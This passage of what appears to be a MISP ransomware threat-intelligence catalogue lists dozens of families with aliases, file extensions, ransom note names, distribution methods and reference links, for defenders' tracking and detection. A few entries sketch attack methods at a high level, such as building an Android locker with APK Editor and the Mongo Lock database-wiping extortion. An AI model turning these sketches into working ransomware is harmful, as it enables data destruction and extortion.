When Sigrun is executed it will first check "HKEY_CURRENT_USER\Keyboard Layout\Preload" to see if it is set to the Russian layout. If the computer is using a Russian layout, it will not encrypt the computer and just delete itself. Otherwise Sigrun will scan a computer for files to encrypt and skip any that match certain extensions, filenames, or are located in particular folders.

The tag is: *misp-galaxy:ransomware="Sigrun Ransomware"*

Table 13500. Table References

Links
https://www.bleepingcomputer.com/news/security/sigrun-ransomware-author-decrypting-russian-victims-for-free/
http://id-ransomware.blogspot.com/2018/05/sigrun-ransomware.html

CryBrazil

Mostly Hidden Tear with some codes from Eda2 & seems compiled w/ Italian VS. Maybe related to OpsVenezuela?

The tag is: *misp-galaxy:ransomware="CryBrazil"*

Table 13501. Table References

Links
https://twitter.com/malwrhunterteam/status/1002953824590614528
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/
https://id-ransomware.blogspot.com/2018/06/crybrazil-ransomware.html

Pedcont

new destrucrtive ransomware called Pedcont that claims to encrypt files because the victim has

accessed illegal content on the deep web. The screen then goes blank and becomes unresponsive.

The tag is: *misp-galaxy:ransomware="Pedcont"*

Table 13502. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/ [https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/]
http://id-ransomware.blogspot.com/2018/06/pedcont-ransomware.html

DiskDoctor

new Scarab Ransomware variant called DiskDoctor that appends the .DiskDoctor extension and drops a ransom note named HOW TO RECOVER ENCRYPTED FILES.TXT

The tag is: *misp-galaxy:ransomware="DiskDoctor"*

DiskDoctor is also known as:

- Scarab-DiskDoctor

Table 13503. Table References

Links
https://id-ransomware.blogspot.com/2018/06/scarab-diskdoctor-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/

RedEye

Jakub Kroustek discovered the RedEye Ransomware, which appends the .RedEye extension and wipes the contents of the files. RedEye can also rewrite the MBR with a screen that gives authors contact info and YouTube channel. Bart also wrote an article on this ransomware detailing how it works and what it does on a system.The ransomware author contacted BleepingComputer and told us that this ransomware was never intended for distribution and was created just for fun.

The tag is: *misp-galaxy:ransomware="RedEye"*

Table 13504. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/
https://twitter.com/JakubKroustek/status/1004463935905509376
https://bartblaze.blogspot.com/2018/06/redeye-ransomware-theres-more-than.html

https://id-ransomware.blogspot.com/2018/06/redeye-ransomware.html

Aurora Ransomware

Typical ransom software, Aurora virus plays the role of blackmailing PC operators. It encrypts files and the encryption cipher it uses is pretty strong. After encryption, the virus attaches .aurora at the end of the file names that makes it impossible to open the data. Thereafter, it dispatches the ransom note totaling 6 copies, without any change to the main objective i.e., victims must write an electronic mail addressed to anonimus.mr@yahoo.com while stay connected until the criminals reply telling the ransom amount.

The tag is: *misp-galaxy:ransomware="Aurora Ransomware"*

Aurora Ransomware is also known as:

- Zorro Ransomware

Table 13505. Table References

Links
https://www.spamfighter.com/News-21588-Aurora-Ransomware-Circulating-the-Cyber-Space.htm
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/
https://twitter.com/demonslay335/status/1004435398687379456
https://www.bleepingcomputer.com/news/security/aurora-zorro-ransomware-actively-being-distributed/
https://id-ransomware.blogspot.com/2018/05/aurora-ransomware.html

PGPSnippet Ransomware

The tag is: *misp-galaxy:ransomware="PGPSnippet Ransomware"*

Table 13506. Table References

Links
https://twitter.com/demonslay335/status/1005138187621191681

Spartacus Ransomware

The tag is: *misp-galaxy:ransomware="Spartacus Ransomware"*

Table 13507. Table References

Links
https://twitter.com/demonslay335/status/1005136022282428419
https://id-ransomware.blogspot.com/2018/04/spartacus-ransomware.html

Donut

S!Ri found a new ransomware called Donut that appends the .donut extension and uses the email donutmmm@tutanota.com.

The tag is: *misp-galaxy:ransomware="Donut"*

Table 13508. Table References

Links
https://twitter.com/siri_urz/status/1005438610806583296
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-15th-2018-dbger-scarab-and-more/
http://id-ransomware.blogspot.com/2018/06/donut-ransomware.html

NemeS1S Ransomware

Ransomware as a Service

The tag is: *misp-galaxy:ransomware="NemeS1S Ransomware"*

Table 13509. Table References

Links
https://twitter.com/Damian1338B/status/1005411102660923392
https://www.bleepingcomputer.com/news/security/nemes1s-raas-is-padcrypt-ransomwares-affiliate-system/
https://id-ransomware.blogspot.com/2017/01/nemesis-ransomware.html

Paradise Ransomware

MalwareHunterTeam discovered a new Paradise Ransomware variant that uses the extension _V.0.0.0.1{paradise@all-ransomware.info}.prt and drops a ransom note named PARADISE_README_paradise@all-ransomware.info.txt.

The tag is: *misp-galaxy:ransomware="Paradise Ransomware"*

Table 13510. Table References

Links
https://twitter.com/malwrhunterteam/status/1005420103415017472
https://twitter.com/malwrhunterteam/status/993499349199056897
http://id-ransomware.blogspot.com/2017/09/paradise-ransomware.html

B2DR Ransomware

uses the .reycarnasi1983@protonmail.com.gw3w amd a ransom note named ScrewYou.txt

The tag is: *misp-galaxy:ransomware="B2DR Ransomware"*

Table 13511. Table References

Links
https://twitter.com/demonslay335/status/1006220895302705154
https://id-ransomware.blogspot.com/2018/03/b2dr-ransomware.html

YYTO Ransomware

uses the extension .codyprince92@mail.com.ovgm and drops a ransom note named Readme.txt

The tag is: *misp-galaxy:ransomware="YYTO Ransomware"*

Table 13512. Table References

Links
https://twitter.com/demonslay335/status/1006237353474756610
http://id-ransomware.blogspot.com/2017/05/yyto-ransomware.html

Unnamed ramsomware 2

The tag is: *misp-galaxy:ransomware="Unnamed ramsomware 2"*

Table 13513. Table References

Links
https://twitter.com/demonslay335/status/1007334654918250496

Everbe Ransomware

The tag is: *misp-galaxy:ransomware="Everbe Ransomware"*

Table 13514. Table References

Links
https://www.bleepingcomputer.com/news/security/decryptor-released-for-the-everbe-ransomware/
https://twitter.com/malwrhunterteam/status/1065675918000234497
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-23rd-2018-stop-dharma-and-more/
http://id-ransomware.blogspot.com/2018/03/everbe-ransomware.html

DirCrypt

The tag is: *misp-galaxy:ransomware="DirCrypt"*

View relationships graph

DirCrypt has relationships with:

- similar: misp-galaxy:malpedia="DirCrypt" with estimative-language:likelihood-probability="likely"

Table 13515. Table References

Links
https://www.johannesbader.ch/2015/03/the-dga-of-dircrypt/

DBGer Ransomware

The authors of the Satan ransomware have rebranded their "product" and they now go by the name of DBGer ransomware, according to security researcher MalwareHunter, who spotted this new version earlier today. The change was not only in name but also in the ransomware's modus operandi. According to the researcher, whose discovery was later confirmed by an Intezer code similarity analysis, the new (Satan) DBGer ransomware now also incorporates Mimikatz, an open-source password-dumping utility. The purpose of DBGer incorporating Mimikatz is for lateral movement inside compromised networks. This fits a recently observed trend in Satan's modus operandi.

The tag is: *misp-galaxy:ransomware="DBGer Ransomware"*

Table 13516. Table References

Links
https://www.bleepingcomputer.com/news/security/dbger-ransomware-uses-eternalblue-and-mimikatz-to-spread-across-networks/
http://id-ransomware.blogspot.com/2018/06/dbger-ransomware.html

RASTAKHIZ

Hidden Tear variant discovered in October 2016. After activation, provides victims with an unlimited amount of time to gather the requested ransom money and pay it. Related unlock keys and the response sent to and from a Gmail addres

The tag is: *misp-galaxy:ransomware="RASTAKHIZ"*

Table 13517. Table References

Links

https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf
https://id-ransomware.blogspot.com/2017/11/rastakhiz-ransomware.html

TYRANT

DUMB variant discovered on November 16, 2017. Disguised itself as a popular virtual private network (VPN) in Iran known as Psiphon and infected Iranian users. Included Farsi-language ransom note, decryptable in the same way as previous DUMB-based variants. Message requested only US$15 for unlock key. Advertised two local and Iran-based payment processors: exchange.ir and webmoney.ir.Shared unique and specialized indicators with RASTAKHIZ; iDefense threat intelligence analysts believe this similarity confirms that the same actor was behind the repurposing of both types of ransomware.

The tag is: *misp-galaxy:ransomware="TYRANT"*

TYRANT is also known as:

- Crypto Tyrant

Table 13518. Table References

Links
https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf
http://id-ransomware.blogspot.com/2017/10/tyrant-ransomware.html

WannaSmile

zCrypt variant discovered on November 17, 2017, one day after the discovery of TYRANT. Used Farsi-language ransom note asking for a staggering 20 Bitcoin ransom payment. Also advertised local Iran-based payment processors and exchanges—www.exchangeing[.]ir, www.payment24[.]ir, www.farhadexchange.net, and www.digiarz.com)—through which Bitcoins could be acquired.

The tag is: *misp-galaxy:ransomware="WannaSmile"*

Table 13519. Table References

Links
https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf
https://id-ransomware.blogspot.com/2017/11/wannasmile-ransomware.html

Unnamed Android Ransomware

Uses APK Editor Pro. Picks and activates DEX>Smali from APK Editor. Utilizes LockService application and edits the “const-string v4, value” to a desired unlock key. Changes contact

information within the ransom note. Once the victim has downloaded the malicious app, the only way to recover its content is to pay the ransom and receive the unlock key.

The tag is: *misp-galaxy:ransomware="Unnamed Android Ransomware"*

Table 13520. Table References

Links
https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf

KEYPASS

A new distribution campaign is underway for a STOP Ransomware variant called KeyPass based on the amount of victims that have been seen. Unfortunately, how the ransomware is being distributed is unknown at this time.

The tag is: *misp-galaxy:ransomware="KEYPASS"*

KEYPASS is also known as:

- KeyPass

Table 13521. Table References

Links
https://www.bleepingcomputer.com/news/security/new-keypass-ransomware-campaign-underway/
https://www.kaspersky.com/blog/keypass-ransomware/23447/

STOP Ransomware

Emmanuel_ADC-Soft found a new STOP Ransomware variant that appends the .INFOWAIT extension and drops a ransom note named !readme.txt.

The tag is: *misp-galaxy:ransomware="STOP Ransomware"*

Table 13522. Table References

Links
https://twitter.com/Emm_ADC_Soft/status/1064459080016760833
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-23rd-2018-stop-dharma-and-more/
https://twitter.com/MarceloRivero/status/1065694365056679936
http://id-ransomware.blogspot.com/2017/12/stop-ransomware.html

Barack Obama’s Everlasting Blue Blackmail Virus Ransomware

A new ransomware that only encrypts .EXE files on a computer. It then displays a screen with a picture of President Obama that asks for a "tip" to decrypt the files.

The tag is: *misp-galaxy:ransomware="Barack Obama’s Everlasting Blue Blackmail Virus Ransomware"*

Barack Obama’s Everlasting Blue Blackmail Virus Ransomware is also known as:

- Barack Obama’s Blackmail Virus Ransomware

Table 13523. Table References

Links
https://twitter.com/malwrhunterteam/status/1032242391665790981
https://www.bleepingcomputer.com/news/security/barack-obamas-blackmail-virus-ransomware-only-encrypts-exe-files/
https://id-ransomware.blogspot.com/2018/08/barack-obamas-ransomware.html

CryptoNar

When the CryptoNar, or Crypto Nar, Ransomware encrypts a victims files it will perform the encryption differently depending on the type of file being encrypted. If the targeted file has a .txt or .md extension, it will encrypt the entire file and append the .fully.cryptoNar extension to the encrypted file’s name. All other files will only have the first 1,024 bytes encrypted and will have the .partially.cryptoNar extensions appended to the file’s name.

The tag is: *misp-galaxy:ransomware="CryptoNar"*

View relationships graph

CryptoNar has relationships with:

- similar: misp-galaxy:ransomware="CryptoJoker" with estimative-language:likelihood-probability="likely"

Table 13524. Table References

Links
https://www.bleepingcomputer.com/news/security/cryptonar-ransomware-discovered-and-quickly-decrypted/
https://twitter.com/malwrhunterteam/status/1034492151541977088
https://id-ransomware.blogspot.com/2018/08/cryptonar-ransomware.html

CreamPie Ransomware

Jakub Kroustek found what appears to be an in-dev version of the CreamPie Ransomware. It does not currently display a ransom note, but does encrypt files and appends the .[backdata@cock.li].CreamPie extension to them.

The tag is: *misp-galaxy:ransomware="CreamPie Ransomware"*

Table 13525. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/
https://twitter.com/JakubKroustek/status/1033656080839139333
https://id-ransomware.blogspot.com/2018/08/creampie-ransomware.html

Jeff the Ransomware

Looks to be in-development as it does not encrypt.

The tag is: *misp-galaxy:ransomware="Jeff the Ransomware"*

Table 13526. Table References

Links
https://twitter.com/leotpsc/status/1033625496003731458
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/

Cassetto Ransomware

Michael Gillespie saw an encrypted file uploaded to ID Ransomware that appends the .cassetto extension and drops a ransom note named IMPORTANT ABOUT DECRYPT.txt.

The tag is: *misp-galaxy:ransomware="Cassetto Ransomware"*

Table 13527. Table References

Links
https://twitter.com/demonslay335/status/1034213399922524160
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/
https://id-ransomware.blogspot.com/2018/08/cassetto-ransomware.html

Acroware Cryptolocker Ransomware

Leo discovered a screenlocker that calls itself Acroware Cryptolocker Ransomware. It does not encrypt.

The tag is: *misp-galaxy:ransomware="Acroware Cryptolocker Ransomware"*

Acroware Cryptolocker Ransomware is also known as:

- Acroware Screenlocker

Table 13528. Table References

Links
https://twitter.com/leotpsc/status/1034346447112679430
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/

Termite Ransomware

Ben Hunter discovered a new ransomware called Termite Ransomware. When encrypting a computer it will append the .aaaaaa extension to encrypted files.

The tag is: *misp-galaxy:ransomware="Termite Ransomware"*

Table 13529. Table References

Links
https://twitter.com/B_H101/status/1034379267956715520
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/

PICO Ransomware

S!Ri found a new Thanatos Ransomware variant called PICO Ransomware. This ransomware will append the .PICO extension to encrypted files and drop a ransom note named README.txt.

The tag is: *misp-galaxy:ransomware="PICO Ransomware"*

PICO Ransomware is also known as:

- Pico Ransomware

Table 13530. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/

https://twitter.com/siri_urz/status/1035138577934557184

Sigma Ransomware

Today one of our volunteers, Aura, told me about a new new malspam campaign pretending to be from Craigslist that is under way and distributing the Sigma Ransomware. These spam emails contain password protected Word or RTF documents that download the Sigma Ransomware executable from a remote site and install it on a recipients computer.

The tag is: *misp-galaxy:ransomware="Sigma Ransomware"*

Table 13531. Table References

Links
https://www.bleepingcomputer.com/news/security/sigma-ransomware-being-distributed-using-fake-craigslist-malspam/

Crypt0saur

The tag is: *misp-galaxy:ransomware="Crypt0saur"*

Mongo Lock

An attack called Mongo Lock is targeting remotely accessible and unprotected MongoDB databases, wiping them, and then demanding a ransom in order to get the contents back. While this new campaign is using a name to identify itself, these types of attacks are not new and MongoDB databases have been targeted for a while now. These hijacks work by attackers scanning the Internet or using services such as Shodan.io to search for unprotected MongoDB servers. Once connected, the attackers may export the databases, delete them, and then create a ransom note explaining how to get the databases back.

The tag is: *misp-galaxy:ransomware="Mongo Lock"*

Table 13532. Table References

Links
https://www.bleepingcomputer.com/news/security/mongo-lock-attack-ransoming-deleted-mongodb-databases/

Kraken Cryptor Ransomware

The Kraken Cryptor Ransomware is a newer ransomware that was released in August 2018. A new version, called Kraken Cryptor 1.5, was recently released that is masquerading as the legitimate SuperAntiSpyware anti-malware program in order to trick users into installing it.

The tag is: *misp-galaxy:ransomware="Kraken Cryptor Ransomware"*

Table 13533. Table References

Links
https://www.bleepingcomputer.com/news/security/fallout-exploit-kit-now-installing-the-kraken-cryptor-ransomware/
https://www.bleepingcomputer.com/news/security/kraken-cryptor-ransomware-masquerading-as-superantispyware-security-program/
https://twitter.com/MarceloRivero/status/1059575186117328898
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-9th-2018-mostly-dharma-variants/

SAVEfiles

The tag is: *misp-galaxy:ransomware="SAVEfiles"*

Table 13534. Table References

Links
https://www.bleepingcomputer.com/news/security/fallout-exploit-kit-pushing-the-savefiles-ransomware/

File-Locker

The File-Locker Ransomware is a Hidden Tear variant that is targeting victims in Korea. When victim's are infected it will leave a ransom requesting 50,000 Won, or approximately 50 USD, to get the files back. This ransomware uses AES encryption with a static password of "dnwls07193147", so it is easily decryptable.

The tag is: *misp-galaxy:ransomware="File-Locker"*

Table 13535. Table References

Links
https://www.bleepingcomputer.com/news/security/file-locker-ransomware-targets-korean-victims-and-asks-for-50k-won/

CommonRansom

A new ransomware called CommonRansom was discovered that has a very bizarre request. In order to decrypt a computer after a payment is made, they require the victim to open up Remote Desktop Services on the affected computer and send them admin credentials in order to decrypt the victim's files.

The tag is: *misp-galaxy:ransomware="CommonRansom"*

Table 13536. Table References

Links

https://www.bleepingcomputer.com/news/security/commonransom-ransomware-demands-rdp-access-to-decrypt-files/

God Crypt Joke Ransomware

MalwareHunterTeam found a new ransomware called God Crypt that does not appear to decrypt and appears to be a joke ransomware. Has an unlock code of 29b579fb811f05c3c334a2bd2646a27a.

The tag is: *misp-galaxy:ransomware="God Crypt Joke Ransomware"*

God Crypt Joke Ransomware is also known as:

- Godsomware v1.0
- Ransomware God Crypt

Table 13537. Table References

Links
https://twitter.com/malwrhunterteam/status/1048616343975682048
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/

DecryptFox Ransomware

Michael Gillespie found a new ransomware uploaded to ID Ransomware that appends the .encr extension and drops a ransom note named readmy.txt.

The tag is: *misp-galaxy:ransomware="DecryptFox Ransomware"*

Table 13538. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/
https://twitter.com/demonslay335/status/1049325784979132417

garrantydecrypt

Michael Gillespie found a new ransomware that appends the .garrantydecrypt extension and drops a ransom note named RECOVERY_FILES.txt

The tag is: *misp-galaxy:ransomware="garrantydecrypt"*

Table 13539. Table References

Links

https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/
https://www.bleepingcomputer.com/news/security/ransomware-pretends-to-be-proton-security-team-securing-data-from-hackers/

MVP Ransomware

Siri discovered a new ransomware that is appending the .mvp extension to encrypted files.

The tag is: *misp-galaxy:ransomware="MVP Ransomware"*

Table 13540. Table References

Links
https://twitter.com/siri_urz/status/1039077365039673344
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-september-14th-2018-kraken-dharma-and-matrix/

StorageCrypter

Michael Gillespie noticed numerous submissions to ID Ransomware from South Korea for the StorageCrypter ransomware. This version is using a new ransom note named read_me_for_recover_your_files.txt.

The tag is: *misp-galaxy:ransomware="StorageCrypter"*

StorageCrypter is also known as:

- SambaCry

Table 13541. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-september-14th-2018-kraken-dharma-and-matrix/

Rektware

GrujaRS discovered a new ransomware called Rektware that appends the .CQScSFy extension

The tag is: *misp-galaxy:ransomware="Rektware"*

Table 13542. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-september-14th-2018-kraken-dharma-and-matrix/

https://twitter.com/GrujaRS/status/1040677247735279616

M@r1a ransomware

The tag is: *misp-galaxy:ransomware="M@r1a ransomware"*

M@r1a ransomware is also known as:

- M@r1a
- BlackHeart

Table 13543. Table References

Links
https://twitter.com/malwrhunterteam/status/1058775145005887489
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-9th-2018-mostly-dharma-variants/

"prepending (enc) ransomware" (Not an official name)

The tag is: *misp-galaxy:ransomware=""prepending (enc) ransomware" (Not an official name)"*

"prepending (enc) ransomware" (Not an official name) is also known as:

- Aperfectday2018

Table 13544. Table References

Links
https://twitter.com/demonslay335/status/1059470985055875074
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-9th-2018-mostly-dharma-variants/

PyCL Ransomware

The tag is: *misp-galaxy:ransomware="PyCL Ransomware"*

PyCL Ransomware is also known as:

- Dxh26wam

Table 13545. Table References

Links
https://twitter.com/demonslay335/status/1060921043957755904

Vapor Ransomware

MalwareHunterTeam discovered the Vapor Ransomware that appends the .Vapor extension to encrypted files. Will delete files if you do not pay in time.

The tag is: *misp-galaxy:ransomware="Vapor Ransomware"*

Table 13546. Table References

Links
https://twitter.com/malwrhunterteam/status/1063769884608348160
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-23rd-2018-stop-dharma-and-more/

EnyBenyHorsuke Ransomware

GrujaRS discovered a new ransomware called EnyBenyHorsuke Ransomware that appends the .Horsuke extension to encrypted files.

The tag is: *misp-galaxy:ransomware="EnyBenyHorsuke Ransomware"*

Table 13547. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-23rd-2018-stop-dharma-and-more/
https://twitter.com/GrujaRS/status/1063930127610986496

DeLpHiMoRix

The tag is: *misp-galaxy:ransomware="DeLpHiMoRix"*

DeLpHiMoRix is also known as:

- DelphiMorix
- DelphiMorix!

Table 13548. Table References

Links
https://twitter.com/petrovic082/status/1065223932637315074
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-23rd-2018-stop-dharma-and-more/
https://twitter.com/demonslay335/status/1066099799705960448

EnyBeny Nuclear Ransomware

@GrujaRS discovered a new in-dev ransomware called EnyBeny Nuclear Ransomware that meant to append the extension .PERSONAL_ID:.Nuclear to encrypted files, but failed due to a bug.

The tag is: *misp-galaxy:ransomware="EnyBeny Nuclear Ransomware"*

Table 13549. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-30th-2018-indictments-sanctions-and-more/
https://twitter.com/GrujaRS/status/1066799421080461312
https://www.youtube.com/watch?v=_aaFon7FVbc

Lucky Ransomware

Michael Gillespie discovered a new ransomware that renamed encrypted files to "[original].[random].lucky" and drops a ransom note named *How_To_Decrypt_My_File*.txt.

The tag is: *misp-galaxy:ransomware="Lucky Ransomware"*

Table 13550. Table References

Links
https://twitter.com/demonslay335/status/1067109661076262913
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-30th-2018-indictments-sanctions-and-more/

WeChat Ransom

Over 100,000 thousand computers in China have been infected in just a few days with poorly-written ransomware that encrypts local files and steals credentials for multiple Chinese online services. The crooks show a screen titled UNNAMED1989 and demand the victim a ransom of 110 yuan ($16) in exchange for decrypting the files, payable via Tencent's WeChat payment service by scanning a QR code.

The tag is: *misp-galaxy:ransomware="WeChat Ransom"*

WeChat Ransom is also known as:

- UNNAMED1989

Table 13551. Table References

Links
https://www.bleepingcomputer.com/news/security/ransomware-infects-100k-pcs-in-china-demands-wechat-payment/

https://www.bleepingcomputer.com/news/security/chinese-police-arrest-dev-behind-unnamed1989-wechat-ransomware/

IsraBye

The tag is: *misp-galaxy:ransomware="IsraBye"*

Table 13552. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-7th-2018-wechat-ransomware-scammers-and-more/
https://www.youtube.com/watch?v=QevoUzbqNTQ
https://twitter.com/GrujaRS/status/1070011234521673728

Dablio Ransomware

The tag is: *misp-galaxy:ransomware="Dablio Ransomware"*

View relationships graph

Dablio Ransomware has relationships with:

- similar: misp-galaxy:ransomware="HolyCrypt" with estimative-language:likelihood-probability="likely"

Table 13553. Table References

Links
https://twitter.com/struppigel/status/1069905624954269696
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-7th-2018-wechat-ransomware-scammers-and-more/

Gerber Ransomware 1.0

The tag is: *misp-galaxy:ransomware="Gerber Ransomware 1.0"*

Table 13554. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-7th-2018-wechat-ransomware-scammers-and-more/
https://twitter.com/petrovic082/status/1071003939015925760
https://twitter.com/Emm_ADC_Soft/status/1071716275590782976

Gerber Ransomware 3.0

The tag is: *misp-galaxy:ransomware="Gerber Ransomware 3.0"*

Outsider

The tag is: *misp-galaxy:ransomware="Outsider"*

Table 13555. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-7th-2018-wechat-ransomware-scammers-and-more/
https://twitter.com/GrujaRS/status/1071153192975642630
https://www.youtube.com/watch?v=iB019lDvArs

JungleSec

Uses http://ccrypt.sourceforge.net/ encryption program

The tag is: *misp-galaxy:ransomware="JungleSec"*

Table 13556. Table References

Links
https://twitter.com/demonslay335/status/1071123090564923393
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-7th-2018-wechat-ransomware-scammers-and-more/

EQ Ransomware

GrujaRS discovered the EQ Ransomware that drops a ransom note named README_BACK_FILES.htm and uses .f**k (censored) as its extension for encrypted files. May be GlobeImposter.

The tag is: *misp-galaxy:ransomware="EQ Ransomware"*

Table 13557. Table References

Links
https://twitter.com/GrujaRS/status/1071349228172124160
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-14th-2018-slow-week/
https://www.youtube.com/watch?v=uHYY6XZZEw4

Mercury Ransomware

extension ".Mercury", note "!!!READ_IT!!!.txt" with 4 different 64-char hex as ID, 3 of which have dashes. Possible filemarker, same in different victim's files.

The tag is: *misp-galaxy:ransomware="Mercury Ransomware"*

Table 13558. Table References

Links
https://twitter.com/demonslay335/status/1072164314608480257

Forma Ransomware

The tag is: *misp-galaxy:ransomware="Forma Ransomware"*

Forma Ransomware is also known as:

- FORMA

Table 13559. Table References

Links
https://twitter.com/GrujaRS/status/1072468548977680385

Djvu

The tag is: *misp-galaxy:ransomware="Djvu"*

Table 13560. Table References

Links
https://twitter.com/demonslay335/status/1072907748155842565

Ryuk ransomware

Similar to Samas and BitPaymer, Ryuk is specifically used to target enterprise environments. Code comparison between versions of Ryuk and Hermes ransomware indicates that Ryuk was derived from the Hermes source code and has been under steady development since its release. Hermes is commodity ransomware that has been observed for sale on forums and used by multiple threat actors. However, Ryuk is only used by GRIM SPIDER and, unlike Hermes, Ryuk has only been used to target enterprise environments. Since Ryuk's appearance in August, the threat actors operating it have netted over 705.80 BTC across 52 transactions for a total current value of $3,701,893.98 USD.

The tag is: *misp-galaxy:ransomware="Ryuk ransomware"*

Table 13561. Table References

Links

https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2019-ACT-005.pdf

BitPaymer

In August 2017, a new ransomware variant identified as BitPaymer was reported to have ransomed the U.K.'s National Health Service (NHS), with a high ransom demand of 53 BTC (approximately $200,000 USD). The targeting of an organization rather than individuals, and the high ransom demands, made BitPaymer stand out from other contemporary ransomware at the time. Though the encryption and ransom functionality of BitPaymer was not technically sophisticated, the malware contained multiple anti-analysis features that overlapped with Dridex. Later technical analysis of BitPaymer indicated that it had been developed by INDRIK SPIDER, suggesting the group had expanded its criminal operation to include ransomware as a monetization strategy.

The tag is: *misp-galaxy:ransomware="BitPaymer"*

BitPaymer is also known as:

- FriedEx
- IEncrypt

Table 13562. Table References

Links
https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/

LockerGoga

The tag is: *misp-galaxy:ransomware="LockerGoga"*

View relationships graph

LockerGoga has relationships with:

- similar: misp-galaxy:ransomware="Nodera Ransomware" with estimative-language:likelihood-probability="roughly-even-chance"

Table 13563. Table References

Links
https://www.bleepingcomputer.com/news/security/new-lockergoga-ransomware-allegedly-used-in-altran-attack/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2019-ACT-005.pdf
https://www.ransomlook.io/group/lockergoga

Princess Evolution

We have been observing a malvertising campaign via Rig exploit kit delivering a cryptocurrency-mining malware and the GandCrab ransomware since July 25. On August 1, we found Rig's traffic stream dropping a then-unknown ransomware. Delving into this seemingly new ransomware, we checked its ransom payment page in the Tor network and saw it was called Princess Evolution (detected by Trend Micro as RANSOM_PRINCESSLOCKER.B), and was actually a new version of the Princess Locker ransomware that emerged in 2016. Based on its recent advertisement in underground forums, it appears that its operators are peddling Princess Evolution as a ransomware as a service (RaaS) and are looking for affiliates. The new malvertising campaign we observed since July 25 is notable in that the malvertisements included Coinhive (COINMINER_MALXMR.TIDBF). Even if users aren't diverted to the exploit kit and infected with the ransomware, the cybercriminals can still earn illicit profit through cryptocurrency mining. Another characteristic of this new campaign is that they hosted their malvertisement page on a free web hosting service and used domain name system canonical name (DNS CNAME) to map their advertisement domain on a malicious webpage on the service.

The tag is: *misp-galaxy:ransomware="Princess Evolution"*

Princess Evolution is also known as:

- PrincessLocker Evolution

Table 13564. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/ransomware-as-a-service-princess-evolution-looking-for-affiliates/

Jokeroo

A new Ransomware-as-a-Service called Jokeroo is being promoted on underground hacking sites and via Twitter that allows affiliates to allegedly gain access to a fully functional ransomware and payment server. According to a malware researcher named Damian, the Jokeroo RaaS first started promoting itself as a GandCrab Ransomware RaaS on the underground hacking forum Exploit.in.

The tag is: *misp-galaxy:ransomware="Jokeroo"*

Jokeroo is also known as:

- Fake GandCrab

Table 13565. Table References

Links
https://www.bleepingcomputer.com/news/security/jokeroo-ransomware-as-a-service-offers-multiple-membership-packages/

GlobeImposter

During December 2017, a new variant of the GlobeImposter Ransomware was detected for the first time and reported on malware-traffic-analysis. At first sight this ransomware looks very similar to other ransomware samples and uses common techniques such as process hollowing. However, deeper inspection showed that like LockPoS, which was analyzed by CyberBit, GlobeImposter too bypasses user-mode hooks by directly invoking system calls. Given this evasion technique is being leveraged by new malware samples may indicate that this is a beginning of a trend aiming to bypass user-mode security products.

The tag is: *misp-galaxy:ransomware="GlobeImposter"*

Table 13566. Table References

Links
https://www.fortinet.com/blog/threat-research/analysis-of-new-globeimposter-ransomware-variant.html

BlackWorm

